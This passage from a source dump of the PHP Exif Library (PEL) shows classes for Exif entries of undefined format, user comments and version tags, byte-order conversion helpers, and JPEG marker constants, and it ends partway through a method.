@return PelFormat the format of this entry. 286 | */ 287 | function getFormat() { 288 | return $this->format; 289 | } 290 | 291 | 292 | /** 293 | * Return the number of components of this entry. 294 | * 295 | * @return int the number of components of this entry. 296 | */ 297 | function getComponents() { 298 | return $this->components; 299 | } 300 | 301 | 302 | /** 303 | * Turn this entry into bytes. 304 | * 305 | * @param PelByteOrder the desired byte order, which must be either 306 | * {@link Convert::LITTLE_ENDIAN} or {@link Convert::BIG_ENDIAN}. 307 | * 308 | * @return string bytes representing this entry. 309 | */ 310 | function getBytes($o) { 311 | return $this->bytes; 312 | } 313 | 314 | 315 | /** 316 | * Get the value of this entry as text. 317 | * 318 | * The value will be returned in a format suitable for presentation, 319 | * e.g., rationals will be returned as 'x/y', ASCII strings will be 320 | * returned as themselves etc. 321 | * 322 | * @param boolean some values can be returned in a long or more 323 | * brief form, and this parameter controls that. 324 | * 325 | * @return string the value as text. 326 | */ 327 | abstract function getText($brief = false); 328 | 329 | 330 | /** 331 | * Get the value of this entry. 332 | * 333 | * The value returned will generally be the same as the one supplied 334 | * to the constructor or with {@link setValue()}. For a formatted 335 | * version of the value, one should use {@link getText()} instead. 336 | * 337 | * @return mixed the unformatted value. 338 | */ 339 | abstract function getValue(); 340 | 341 | 342 | /** 343 | * Set the value of this entry. 344 | * 345 | * The value should be in the same format as for the constructor. 346 | * 347 | * @param mixed the new value. 348 | * 349 | * @abstract 350 | */ 351 | function setValue($value) { 352 | /* This (fake) abstract method is here to make it possible for the 353 | * documentation to refer to PelEntry::setValue(). 354 | * 355 | * It cannot declared abstract in the proper PHP way, for then PHP 356 | * wont allow subclasses to define it with two arguments (which is 357 | * what PelEntryCopyright does). 358 | */ 359 | throw new PelException('setValue() is abstract.'); 360 | } 361 | 362 | 363 | /** 364 | * Turn this entry into a string. 365 | * 366 | * @return string a string representation of this entry. This is 367 | * mostly for debugging. 368 | */ 369 | function __toString() { 370 | $str = Pel::fmt(" Tag: 0x%04X (%s)\n", 371 | $this->tag, PelTag::getName($this->ifd_type, $this->tag)); 372 | $str .= Pel::fmt(" Format : %d (%s)\n", 373 | $this->format, PelFormat::getName($this->format)); 374 | $str .= Pel::fmt(" Components: %d\n", $this->components); 375 | if ($this->getTag() != PelTag::MAKER_NOTE && 376 | $this->getTag() != PelTag::PRINT_IM) 377 | $str .= Pel::fmt(" Value : %s\n", print_r($this->getValue(), true)); 378 | $str .= Pel::fmt(" Text : %s\n", $this->getText()); 379 | return $str; 380 | } 381 | } 382 | 383 | -------------------------------------------------------------------------------- /pel/PelEntryUndefined.php: -------------------------------------------------------------------------------- 1 | 38 | * @version $Revision$ 39 | * @date $Date$ 40 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 41 | * License (GPL) 42 | * @package PEL 43 | */ 44 | 45 | /**#@+ Required class definitions. */ 46 | require_once('PelEntry.php'); 47 | /**#@-*/ 48 | 49 | 50 | /** 51 | * Class for holding data of any kind. 52 | * 53 | * This class can hold bytes of undefined format. 54 | * 55 | * @author Martin Geisler 56 | * @package PEL 57 | */ 58 | class PelEntryUndefined extends PelEntry { 59 | 60 | /** 61 | * Make a new PelEntry that can hold undefined data. 62 | * 63 | * @param PelTag the tag which this entry represents. This 64 | * should be one of the constants defined in {@link PelTag}, 65 | * e.g., {@link PelTag::SCENE_TYPE}, {@link 66 | * PelTag::MAKER_NOTE} or any other tag with format {@link 67 | * PelFormat::UNDEFINED}. 68 | * 69 | * @param string the data that this entry will be holding. Since 70 | * the format is undefined, no checking will be done on the data. 71 | */ 72 | function __construct($tag, $data = '') { 73 | $this->tag = $tag; 74 | $this->format = PelFormat::UNDEFINED; 75 | $this->setValue($data); 76 | } 77 | 78 | 79 | /** 80 | * Set the data of this undefined entry. 81 | * 82 | * @param string the data that this entry will be holding. Since 83 | * the format is undefined, no checking will be done on the data. 84 | */ 85 | function setValue($data) { 86 | $this->components = strlen($data); 87 | $this->bytes = $data; 88 | } 89 | 90 | 91 | /** 92 | * Get the data of this undefined entry. 93 | * 94 | * @return string the data that this entry is holding. 95 | */ 96 | function getValue() { 97 | return $this->bytes; 98 | } 99 | 100 | 101 | /** 102 | * Get the value of this entry as text. 103 | * 104 | * The value will be returned in a format suitable for presentation. 105 | * 106 | * @param boolean some values can be returned in a long or more 107 | * brief form, and this parameter controls that. 108 | * 109 | * @return string the value as text. 110 | */ 111 | function getText($brief = false) { 112 | switch ($this->tag) { 113 | case PelTag::FILE_SOURCE: 114 | //CC (e->components, 1, v); 115 | switch (ord($this->bytes{0})) { 116 | case 0x03: 117 | return 'DSC'; 118 | default: 119 | return sprintf('0x%02X', ord($this->bytes{0})); 120 | } 121 | 122 | case PelTag::SCENE_TYPE: 123 | //CC (e->components, 1, v); 124 | switch (ord($this->bytes{0})) { 125 | case 0x01: 126 | return 'Directly photographed'; 127 | default: 128 | return sprintf('0x%02X', ord($this->bytes{0})); 129 | } 130 | 131 | case PelTag::COMPONENTS_CONFIGURATION: 132 | //CC (e->components, 4, v); 133 | $v = ''; 134 | for ($i = 0; $i < 4; $i++) { 135 | switch (ord($this->bytes{$i})) { 136 | case 0: 137 | $v .= '-'; 138 | break; 139 | case 1: 140 | $v .= 'Y'; 141 | break; 142 | case 2: 143 | $v .= 'Cb'; 144 | break; 145 | case 3: 146 | $v .= 'Cr'; 147 | break; 148 | case 4: 149 | $v .= 'R'; 150 | break; 151 | case 5: 152 | $v .= 'G'; 153 | break; 154 | case 6: 155 | $v .= 'B'; 156 | break; 157 | default: 158 | $v .= 'reserved'; 159 | break; 160 | } 161 | if ($i < 3) $v .= ' '; 162 | } 163 | return $v; 164 | 165 | case PelTag::MAKER_NOTE: 166 | // TODO: handle maker notes. 167 | return $this->components . ' bytes unknown MakerNote data'; 168 | 169 | default: 170 | return '(undefined)'; 171 | } 172 | } 173 | 174 | } 175 | 176 | 177 | /** 178 | * Class for a user comment. 179 | * 180 | * This class is used to hold user comments, which can come in several 181 | * different character encodings. The Exif standard specifies a 182 | * certain format of the {@link PelTag::USER_COMMENT user comment 183 | * tag}, and this class will make sure that the format is kept. 184 | * 185 | * The most basic use of this class simply stores an ASCII encoded 186 | * string for later retrieval using {@link getValue}: 187 | * 188 | * 189 | * $entry = new PelEntryUserComment('An ASCII string'); 190 | * echo $entry->getValue(); 191 | * 192 | * 193 | * The string can be encoded with a different encoding, and if so, the 194 | * encoding must be given using the second argument. The Exif 195 | * standard specifies three known encodings: 'ASCII', 'JIS', and 196 | * 'Unicode'. If the user comment is encoded using a character 197 | * encoding different from the tree known encodings, then the empty 198 | * string should be passed as encoding, thereby specifying that the 199 | * encoding is undefined. 200 | * 201 | * @author Martin Geisler 202 | * @package PEL 203 | */ 204 | class PelEntryUserComment extends PelEntryUndefined { 205 | 206 | /** 207 | * The user comment. 208 | * 209 | * @var string 210 | */ 211 | private $comment; 212 | 213 | /** 214 | * The encoding. 215 | * 216 | * This should be one of 'ASCII', 'JIS', 'Unicode', or ''. 217 | * 218 | * @var string 219 | */ 220 | private $encoding; 221 | 222 | /** 223 | * Make a new entry for holding a user comment. 224 | * 225 | * @param string the new user comment. 226 | * 227 | * @param string the encoding of the comment. This should be either 228 | * 'ASCII', 'JIS', 'Unicode', or the empty string specifying an 229 | * undefined encoding. 230 | */ 231 | function __construct($comment = '', $encoding = 'ASCII') { 232 | parent::__construct(PelTag::USER_COMMENT); 233 | $this->setValue($comment, $encoding); 234 | } 235 | 236 | 237 | /** 238 | * Set the user comment. 239 | * 240 | * @param string the new user comment. 241 | * 242 | * @param string the encoding of the comment. This should be either 243 | * 'ASCII', 'JIS', 'Unicode', or the empty string specifying an 244 | * unknown encoding. 245 | */ 246 | function setValue($comment = '', $encoding = 'ASCII') { 247 | $this->comment = $comment; 248 | $this->encoding = $encoding; 249 | parent::setValue(str_pad($encoding, 8, chr(0)) . $comment); 250 | } 251 | 252 | 253 | /** 254 | * Returns the user comment. 255 | * 256 | * The comment is returned with the same character encoding as when 257 | * it was set using {@link setValue} or {@link __construct the 258 | * constructor}. 259 | * 260 | * @return string the user comment. 261 | */ 262 | function getValue() { 263 | return $this->comment; 264 | } 265 | 266 | 267 | /** 268 | * Returns the encoding. 269 | * 270 | * @return string the encoding of the user comment. 271 | */ 272 | function getEncoding() { 273 | return $this->encoding; 274 | } 275 | 276 | 277 | /** 278 | * Returns the user comment. 279 | * 280 | * @return string the user comment. 281 | */ 282 | function getText($brief = false) { 283 | return $this->comment; 284 | } 285 | 286 | } 287 | 288 | 289 | /** 290 | * Class to hold version information. 291 | * 292 | * There are three Exif entries that hold version information: the 293 | * {@link PelTag::EXIF_VERSION}, {@link 294 | * PelTag::FLASH_PIX_VERSION}, and {@link 295 | * PelTag::INTEROPERABILITY_VERSION} tags. This class manages 296 | * those tags. 297 | * 298 | * The class is used in a very straight-forward way: 299 | * 300 | * $entry = new PelEntryVersion(PelTag::EXIF_VERSION, 2.2); 301 | * 302 | * This creates an entry for an file complying to the Exif 2.2 303 | * standard. It is easy to test for standards level of an unknown 304 | * entry: 305 | * 306 | * if ($entry->getTag() == PelTag::EXIF_VERSION && 307 | * $entry->getValue() > 2.0) { 308 | * echo 'Recent Exif version.'; 309 | * } 310 | * 311 | * 312 | * @author Martin Geisler 313 | * @package PEL 314 | */ 315 | class PelEntryVersion extends PelEntryUndefined { 316 | 317 | /** 318 | * The version held by this entry. 319 | * 320 | * @var float 321 | */ 322 | private $version; 323 | 324 | 325 | /** 326 | * Make a new entry for holding a version. 327 | * 328 | * @param PelTag the tag. This should be one of {@link 329 | * PelTag::EXIF_VERSION}, {@link PelTag::FLASH_PIX_VERSION}, 330 | * or {@link PelTag::INTEROPERABILITY_VERSION}. 331 | * 332 | * @param float the version. The size of the entries leave room for 333 | * exactly four digits: two digits on either side of the decimal 334 | * point. 335 | */ 336 | function __construct($tag, $version = 0.0) { 337 | parent::__construct($tag); 338 | $this->setValue($version); 339 | } 340 | 341 | 342 | /** 343 | * Set the version held by this entry. 344 | * 345 | * @param float the version. The size of the entries leave room for 346 | * exactly four digits: two digits on either side of the decimal 347 | * point. 348 | */ 349 | function setValue($version = 0.0) { 350 | $this->version = $version; 351 | $major = floor($version); 352 | $minor = ($version - $major)*100; 353 | parent::setValue(sprintf('%02.0f%02.0f', $major, $minor)); 354 | } 355 | 356 | 357 | /** 358 | * Return the version held by this entry. 359 | * 360 | * @return float the version. This will be the same as the value 361 | * given to {@link setValue} or {@link __construct the 362 | * constructor}. 363 | */ 364 | function getValue() { 365 | return $this->version; 366 | } 367 | 368 | 369 | /** 370 | * Return a text string with the version. 371 | * 372 | * @param boolean controls if the output should be brief. Brief 373 | * output omits the word 'Version' so the result is just 'Exif x.y' 374 | * instead of 'Exif Version x.y' if the entry holds information 375 | * about the Exif version --- the output for FlashPix is similar. 376 | * 377 | * @return string the version number with the type of the tag, 378 | * either 'Exif' or 'FlashPix'. 379 | */ 380 | function getText($brief = false) { 381 | $v = $this->version; 382 | 383 | /* Versions numbers like 2.0 would be output as just 2 if we don't 384 | * add the '.0' ourselves. */ 385 | if (floor($this->version) == $this->version) 386 | $v .= '.0'; 387 | 388 | switch ($this->tag) { 389 | case PelTag::EXIF_VERSION: 390 | if ($brief) 391 | return Pel::fmt('Exif %s', $v); 392 | else 393 | return Pel::fmt('Exif Version %s', $v); 394 | 395 | case PelTag::FLASH_PIX_VERSION: 396 | if ($brief) 397 | return Pel::fmt('FlashPix %s', $v); 398 | else 399 | return Pel::fmt('FlashPix Version %s', $v); 400 | 401 | case PelTag::INTEROPERABILITY_VERSION: 402 | if ($brief) 403 | return Pel::fmt('Interoperability %s', $v); 404 | else 405 | return Pel::fmt('Interoperability Version %s', $v); 406 | } 407 | 408 | if ($brief) 409 | return $v; 410 | else 411 | return Pel::fmt('Version %s', $v); 412 | 413 | } 414 | 415 | } 416 | 417 | -------------------------------------------------------------------------------- /pel/PelConvert.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /** 40 | * Conversion functions to and from bytes and integers. 41 | * 42 | * The functions found in this class are used to convert bytes into 43 | * integers of several sizes ({@link bytesToShort}, {@link 44 | * bytesToLong}, and {@link bytesToRational}) and convert integers of 45 | * several sizes into bytes ({@link shortToBytes} and {@link 46 | * longToBytes}). 47 | * 48 | * All the methods are static and they all rely on an argument that 49 | * specifies the byte order to be used, this must be one of the class 50 | * constants {@link LITTLE_ENDIAN} or {@link BIG_ENDIAN}. These 51 | * constants will be referred to as the pseudo type PelByteOrder 52 | * throughout the documentation. 53 | * 54 | * @author Martin Geisler 55 | * @package PEL 56 | */ 57 | class PelConvert { 58 | 59 | /** 60 | * Little-endian (Intel) byte order. 61 | * 62 | * Data stored in little-endian byte order store the least 63 | * significant byte first, so the number 0x12345678 becomes 0x78 64 | * 0x56 0x34 0x12 when stored with little-endian byte order. 65 | */ 66 | const LITTLE_ENDIAN = true; 67 | 68 | /** 69 | * Big-endian (Motorola) byte order. 70 | * 71 | * Data stored in big-endian byte order store the most significant 72 | * byte first, so the number 0x12345678 becomes 0x12 0x34 0x56 0x78 73 | * when stored with big-endian byte order. 74 | */ 75 | const BIG_ENDIAN = false; 76 | 77 | 78 | /** 79 | * Convert an unsigned short into two bytes. 80 | * 81 | * @param int the unsigned short that will be converted. The lower 82 | * two bytes will be extracted regardless of the actual size passed. 83 | * 84 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 85 | * BIG_ENDIAN}. 86 | * 87 | * @return string the bytes representing the unsigned short. 88 | */ 89 | static function shortToBytes($value, $endian) { 90 | if ($endian == self::LITTLE_ENDIAN) 91 | return chr($value) . chr($value >> 8); 92 | else 93 | return chr($value >> 8) . chr($value); 94 | } 95 | 96 | 97 | /** 98 | * Convert a signed short into two bytes. 99 | * 100 | * @param int the signed short that will be converted. The lower 101 | * two bytes will be extracted regardless of the actual size passed. 102 | * 103 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 104 | * BIG_ENDIAN}. 105 | * 106 | * @return string the bytes representing the signed short. 107 | */ 108 | static function sShortToBytes($value, $endian) { 109 | /* We can just use shortToBytes, since signed shorts fits well 110 | * within the 32 bit signed integers used in PHP. */ 111 | return self::shortToBytes($value, $endian); 112 | } 113 | 114 | 115 | /** 116 | * Convert an unsigned long into four bytes. 117 | * 118 | * Because PHP limits the size of integers to 32 bit signed, one 119 | * cannot really have an unsigned integer in PHP. But integers 120 | * larger than 2^31-1 will be promoted to 64 bit signed floating 121 | * point numbers, and so such large numbers can be handled too. 122 | * 123 | * @param int the unsigned long that will be converted. The 124 | * argument will be treated as an unsigned 32 bit integer and the 125 | * lower four bytes will be extracted. Treating the argument as an 126 | * unsigned integer means that the absolute value will be used. Use 127 | * {@link sLongToBytes} to convert signed integers. 128 | * 129 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 130 | * BIG_ENDIAN}. 131 | * 132 | * @return string the bytes representing the unsigned long. 133 | */ 134 | static function longToBytes($value, $endian) { 135 | /* We cannot convert the number to bytes in the normal way (using 136 | * shifts and modulo calculations) because the PHP operator >> and 137 | * function chr() clip their arguments to 2^31-1, which is the 138 | * largest signed integer known to PHP. But luckily base_convert 139 | * handles such big numbers. */ 140 | $hex = str_pad(base_convert($value, 10, 16), 8, '0', STR_PAD_LEFT); 141 | if ($endian == self::LITTLE_ENDIAN) 142 | return (chr(hexdec($hex{6} . $hex{7})) . 143 | chr(hexdec($hex{4} . $hex{5})) . 144 | chr(hexdec($hex{2} . $hex{3})) . 145 | chr(hexdec($hex{0} . $hex{1}))); 146 | else 147 | return (chr(hexdec($hex{0} . $hex{1})) . 148 | chr(hexdec($hex{2} . $hex{3})) . 149 | chr(hexdec($hex{4} . $hex{5})) . 150 | chr(hexdec($hex{6} . $hex{7}))); 151 | } 152 | 153 | 154 | /** 155 | * Convert a signed long into four bytes. 156 | * 157 | * @param int the signed long that will be converted. The argument 158 | * will be treated as a signed 32 bit integer, from which the lower 159 | * four bytes will be extracted. 160 | * 161 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 162 | * BIG_ENDIAN}. 163 | * 164 | * @return string the bytes representing the signed long. 165 | */ 166 | static function sLongToBytes($value, $endian) { 167 | /* We can convert the number into bytes in the normal way using 168 | * shifts and modulo calculations here (in contrast with 169 | * longToBytes) because PHP automatically handles 32 bit signed 170 | * integers for us. */ 171 | if ($endian == self::LITTLE_ENDIAN) 172 | return (chr($value) . 173 | chr($value >> 8) . 174 | chr($value >> 16) . 175 | chr($value >> 24)); 176 | else 177 | return (chr($value >> 24) . 178 | chr($value >> 16) . 179 | chr($value >> 8) . 180 | chr($value)); 181 | } 182 | 183 | 184 | /** 185 | * Extract an unsigned byte from a string of bytes. 186 | * 187 | * @param string the bytes. 188 | * 189 | * @param int the offset. The byte found at the offset will be 190 | * returned as an integer. The must be at least one byte available 191 | * at offset. 192 | * 193 | * @return int the unsigned byte found at offset, e.g., an integer 194 | * in the range 0 to 255. 195 | */ 196 | static function bytesToByte($bytes, $offset) { 197 | return ord($bytes{$offset}); 198 | } 199 | 200 | 201 | /** 202 | * Extract a signed byte from bytes. 203 | * 204 | * @param string the bytes. 205 | * 206 | * @param int the offset. The byte found at the offset will be 207 | * returned as an integer. The must be at least one byte available 208 | * at offset. 209 | * 210 | * @return int the signed byte found at offset, e.g., an integer in 211 | * the range -128 to 127. 212 | */ 213 | static function bytesToSByte($bytes, $offset) { 214 | $n = self::bytesToByte($bytes, $offset); 215 | if ($n > 127) 216 | return $n - 256; 217 | else 218 | return $n; 219 | } 220 | 221 | 222 | /** 223 | * Extract an unsigned short from bytes. 224 | * 225 | * @param string the bytes. 226 | * 227 | * @param int the offset. The short found at the offset will be 228 | * returned as an integer. There must be at least two bytes 229 | * available beginning at the offset given. 230 | * 231 | * @return int the unsigned short found at offset, e.g., an integer 232 | * in the range 0 to 65535. 233 | * 234 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 235 | * BIG_ENDIAN}. 236 | */ 237 | static function bytesToShort($bytes, $offset, $endian) { 238 | if ($endian == self::LITTLE_ENDIAN) 239 | return (ord($bytes{$offset+1}) * 256 + 240 | ord($bytes{$offset})); 241 | else 242 | return (ord($bytes{$offset}) * 256 + 243 | ord($bytes{$offset+1})); 244 | } 245 | 246 | 247 | /** 248 | * Extract a signed short from bytes. 249 | * 250 | * @param string the bytes. 251 | * 252 | * @param int the offset. The short found at offset will be returned 253 | * as an integer. There must be at least two bytes available 254 | * beginning at the offset given. 255 | * 256 | * @return int the signed byte found at offset, e.g., an integer in 257 | * the range -32768 to 32767. 258 | * 259 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 260 | * BIG_ENDIAN}. 261 | */ 262 | static function bytesToSShort($bytes, $offset, $endian) { 263 | $n = self::bytesToShort($bytes, $offset, $endian); 264 | if ($n > 32767) 265 | return $n - 65536; 266 | else 267 | return $n; 268 | } 269 | 270 | 271 | /** 272 | * Extract an unsigned long from bytes. 273 | * 274 | * @param string the bytes. 275 | * 276 | * @param int the offset. The long found at offset will be returned 277 | * as an integer. There must be at least four bytes available 278 | * beginning at the offset given. 279 | * 280 | * @return int the unsigned long found at offset, e.g., an integer 281 | * in the range 0 to 4294967295. 282 | * 283 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 284 | * BIG_ENDIAN}. 285 | */ 286 | static function bytesToLong($bytes, $offset, $endian) { 287 | if ($endian == self::LITTLE_ENDIAN) 288 | return (ord($bytes{$offset+3}) * 16777216 + 289 | ord($bytes{$offset+2}) * 65536 + 290 | ord($bytes{$offset+1}) * 256 + 291 | ord($bytes{$offset})); 292 | else 293 | return (ord($bytes{$offset}) * 16777216 + 294 | ord($bytes{$offset+1}) * 65536 + 295 | ord($bytes{$offset+2}) * 256 + 296 | ord($bytes{$offset+3})); 297 | } 298 | 299 | 300 | /** 301 | * Extract a signed long from bytes. 302 | * 303 | * @param string the bytes. 304 | * 305 | * @param int the offset. The long found at offset will be returned 306 | * as an integer. There must be at least four bytes available 307 | * beginning at the offset given. 308 | * 309 | * @return int the signed long found at offset, e.g., an integer in 310 | * the range -2147483648 to 2147483647. 311 | * 312 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 313 | * BIG_ENDIAN}. 314 | */ 315 | static function bytesToSLong($bytes, $offset, $endian) { 316 | $n = self::bytesToLong($bytes, $offset, $endian); 317 | if ($n > 2147483647) 318 | return $n - 4294967296; 319 | else 320 | return $n; 321 | } 322 | 323 | 324 | /** 325 | * Extract an unsigned rational from bytes. 326 | * 327 | * @param string the bytes. 328 | * 329 | * @param int the offset. The rational found at offset will be 330 | * returned as an array. There must be at least eight bytes 331 | * available beginning at the offset given. 332 | * 333 | * @return array the unsigned rational found at offset, e.g., an 334 | * array with two integers in the range 0 to 4294967295. 335 | * 336 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 337 | * BIG_ENDIAN}. 338 | */ 339 | static function bytesToRational($bytes, $offset, $endian) { 340 | return array(self::bytesToLong($bytes, $offset, $endian), 341 | self::bytesToLong($bytes, $offset+4, $endian)); 342 | } 343 | 344 | 345 | /** 346 | * Extract a signed rational from bytes. 347 | * 348 | * @param string the bytes. 349 | * 350 | * @param int the offset. The rational found at offset will be 351 | * returned as an array. There must be at least eight bytes 352 | * available beginning at the offset given. 353 | * 354 | * @return array the signed rational found at offset, e.g., an array 355 | * with two integers in the range -2147483648 to 2147483647. 356 | * 357 | * @param PelByteOrder one of {@link LITTLE_ENDIAN} and {@link 358 | * BIG_ENDIAN}. 359 | */ 360 | static function bytesToSRational($bytes, $offset, $endian) { 361 | return array(self::bytesToSLong($bytes, $offset, $endian), 362 | self::bytesToSLong($bytes, $offset+4, $endian)); 363 | } 364 | 365 | 366 | /** 367 | * Format bytes for dumping. 368 | * 369 | * This method is for debug output, it will format a string as a 370 | * hexadecimal dump suitable for display on a terminal. The output 371 | * is printed directly to standard out. 372 | * 373 | * @param string the bytes that will be dumped. 374 | * 375 | * @param int the maximum number of bytes to dump. If this is left 376 | * out (or left to the default of 0), then the entire string will be 377 | * dumped. 378 | */ 379 | static function bytesToDump($bytes, $max = 0) { 380 | $s = strlen($bytes); 381 | 382 | if ($max > 0) 383 | $s = min($max, $s); 384 | 385 | $line = 24; 386 | 387 | for ($i = 0; $i < $s; $i++) { 388 | printf('%02X ', ord($bytes{$i})); 389 | 390 | if (($i+1) % $line == 0) 391 | print("\n"); 392 | } 393 | print("\n"); 394 | } 395 | 396 | } 397 | 398 | -------------------------------------------------------------------------------- /pel/PelJpegMarker.php: -------------------------------------------------------------------------------- 1 | 32 | * @version $Revision$ 33 | * @date $Date$ 34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public 35 | * License (GPL) 36 | * @package PEL 37 | */ 38 | 39 | /**#@+ Required class definitions. */ 40 | require_once('Pel.php'); 41 | /**#@-*/ 42 | 43 | 44 | /** 45 | * Class with static methods for JPEG markers. 46 | * 47 | * This class defines the constants to be used whenever one refers to 48 | * a JPEG marker. All the methods defined are static, and they all 49 | * operate on one argument which should be one of the class constants. 50 | * They will all be denoted by PelJpegMarker in the documentation. 51 | * 52 | * @author Martin Geisler 53 | * @package PEL 54 | */ 55 | class PelJpegMarker { 56 | 57 | /** Encoding (baseline) */ 58 | const SOF0 = 0xC0; 59 | /** Encoding (extended sequential) */ 60 | const SOF1 = 0xC1; 61 | /** Encoding (progressive) */ 62 | const SOF2 = 0xC2; 63 | /** Encoding (lossless) */ 64 | const SOF3 = 0xC3; 65 | /** Define Huffman table */ 66 | const DHT = 0xC4; 67 | /** Encoding (differential sequential) */ 68 | const SOF5 = 0xC5; 69 | /** Encoding (differential progressive) */ 70 | const SOF6 = 0xC6; 71 | /** Encoding (differential lossless) */ 72 | const SOF7 = 0xC7; 73 | /** Extension */ 74 | const JPG = 0xC8; 75 | /** Encoding (extended sequential, arithmetic) */ 76 | const SOF9 = 0xC9; 77 | /** Encoding (progressive, arithmetic) */ 78 | const SOF10 = 0xCA; 79 | /** Encoding (lossless, arithmetic) */ 80 | const SOF11 = 0xCB; 81 | /** Define arithmetic coding conditioning */ 82 | const DAC = 0xCC; 83 | /** Encoding (differential sequential, arithmetic) */ 84 | const SOF13 = 0xCD; 85 | /** Encoding (differential progressive, arithmetic) */ 86 | const SOF14 = 0xCE; 87 | /** Encoding (differential lossless, arithmetic) */ 88 | const SOF15 = 0xCF; 89 | /** Restart 0 */ 90 | const RST0 = 0xD0; 91 | /** Restart 1 */ 92 | const RST1 = 0xD1; 93 | /** Restart 2 */ 94 | const RST2 = 0xD2; 95 | /** Restart 3 */ 96 | const RST3 = 0xD3; 97 | /** Restart 4 */ 98 | const RST4 = 0xD4; 99 | /** Restart 5 */ 100 | const RST5 = 0xD5; 101 | /** Restart 6 */ 102 | const RST6 = 0xD6; 103 | /** Restart 7 */ 104 | const RST7 = 0xD7; 105 | /** Start of image */ 106 | const SOI = 0xD8; 107 | /** End of image */ 108 | const EOI = 0xD9; 109 | /** Start of scan */ 110 | const SOS = 0xDA; 111 | /** Define quantization table */ 112 | const DQT = 0xDB; 113 | /** Define number of lines */ 114 | const DNL = 0xDC; 115 | /** Define restart interval */ 116 | const DRI = 0xDD; 117 | /** Define hierarchical progression */ 118 | const DHP = 0xDE; 119 | /** Expand reference component */ 120 | const EXP = 0xDF; 121 | /** Application segment 0 */ 122 | const APP0 = 0xE0; 123 | /** 124 | * Application segment 1 125 | * 126 | * When a JPEG image contains Exif data, the data will normally be 127 | * stored in this section and a call to {@link PelJpeg::getExif()} 128 | * will return a {@link PelExif} object representing it. 129 | */ 130 | const APP1 = 0xE1; 131 | /** Application segment 2 */ 132 | const APP2 = 0xE2; 133 | /** Application segment 3 */ 134 | const APP3 = 0xE3; 135 | /** Application segment 4 */ 136 | const APP4 = 0xE4; 137 | /** Application segment 5 */ 138 | const APP5 = 0xE5; 139 | /** Application segment 6 */ 140 | const APP6 = 0xE6; 141 | /** Application segment 7 */ 142 | const APP7 = 0xE7; 143 | /** Application segment 8 */ 144 | const APP8 = 0xE8; 145 | /** Application segment 9 */ 146 | const APP9 = 0xE9; 147 | /** Application segment 10 */ 148 | const APP10 = 0xEA; 149 | /** Application segment 11 */ 150 | const APP11 = 0xEB; 151 | /** Application segment 12 */ 152 | const APP12 = 0xEC; 153 | /** Application segment 13 */ 154 | const APP13 = 0xED; 155 | /** Application segment 14 */ 156 | const APP14 = 0xEE; 157 | /** Application segment 15 */ 158 | const APP15 = 0xEF; 159 | /** Extension 0 */ 160 | const JPG0 = 0xF0; 161 | /** Extension 1 */ 162 | const JPG1 = 0xF1; 163 | /** Extension 2 */ 164 | const JPG2 = 0xF2; 165 | /** Extension 3 */ 166 | const JPG3 = 0xF3; 167 | /** Extension 4 */ 168 | const JPG4 = 0xF4; 169 | /** Extension 5 */ 170 | const JPG5 = 0xF5; 171 | /** Extension 6 */ 172 | const JPG6 = 0xF6; 173 | /** Extension 7 */ 174 | const JPG7 = 0xF7; 175 | /** Extension 8 */ 176 | const JPG8 = 0xF8; 177 | /** Extension 9 */ 178 | const JPG9 = 0xF9; 179 | /** Extension 10 */ 180 | const JPG10 = 0xFA; 181 | /** Extension 11 */ 182 | const JPG11 = 0xFB; 183 | /** Extension 12 */ 184 | const JPG12 = 0xFC; 185 | /** Extension 13 */ 186 | const JPG13 = 0xFD; 187 | /** Comment */ 188 | const COM = 0xFE; 189 | 190 | /** 191 | * Check if a byte is a valid JPEG marker. 192 | * 193 | * @param PelJpegMarker the byte that will be checked. 194 | * 195 | * @return boolean if the byte is recognized true is returned, 196 | * otherwise false will be returned. 197 | */ 198 | static function isValid($m) { 199 | return ($m >= self::SOF0 && $m <= self::COM); 200 | } 201 | 202 | /** 203 | * Turn a JPEG marker into bytes. 204 | * 205 | * @param PelJpegMarker the marker. 206 | * 207 | * @return string the marker as a string. This will be a string 208 | * with just a single byte since all JPEG markers are simply single 209 | * bytes. 210 | */ 211 | static function getBytes($m) { 212 | return chr($m); 213 | } 214 | 215 | /** 216 | * Return the short name for a marker. 217 | * 218 | * @param PelJpegMarker the marker. 219 | * 220 | * @return string the name of the marker, e.g., 'SOI' for the Start 221 | * of Image marker. 222 | */ 223 | static function getName($m) { 224 | switch ($m) { 225 | case self::SOF0: return 'SOF0'; 226 | case self::SOF1: return 'SOF1'; 227 | case self::SOF2: return 'SOF2'; 228 | case self::SOF3: return 'SOF3'; 229 | case self::SOF5: return 'SOF5'; 230 | case self::SOF6: return 'SOF6'; 231 | case self::SOF7: return 'SOF7'; 232 | case self::SOF9: return 'SOF9'; 233 | case self::SOF10: return 'SOF10'; 234 | case self::SOF11: return 'SOF11'; 235 | case self::SOF13: return 'SOF13'; 236 | case self::SOF14: return 'SOF14'; 237 | case self::SOF15: return 'SOF15'; 238 | case self::SOI: return 'SOI'; 239 | case self::EOI: return 'EOI'; 240 | case self::SOS: return 'SOS'; 241 | case self::COM: return 'COM'; 242 | case self::DHT: return 'DHT'; 243 | case self::JPG: return 'JPG'; 244 | case self::DAC: return 'DAC'; 245 | case self::RST0: return 'RST0'; 246 | case self::RST1: return 'RST1'; 247 | case self::RST2: return 'RST2'; 248 | case self::RST3: return 'RST3'; 249 | case self::RST4: return 'RST4'; 250 | case self::RST5: return 'RST5'; 251 | case self::RST6: return 'RST6'; 252 | case self::RST7: return 'RST7'; 253 | case self::DQT: return 'DQT'; 254 | case self::DNL: return 'DNL'; 255 | case self::DRI: return 'DRI'; 256 | case self::DHP: return 'DHP'; 257 | case self::EXP: return 'EXP'; 258 | case self::APP0: return 'APP0'; 259 | case self::APP1: return 'APP1'; 260 | case self::APP2: return 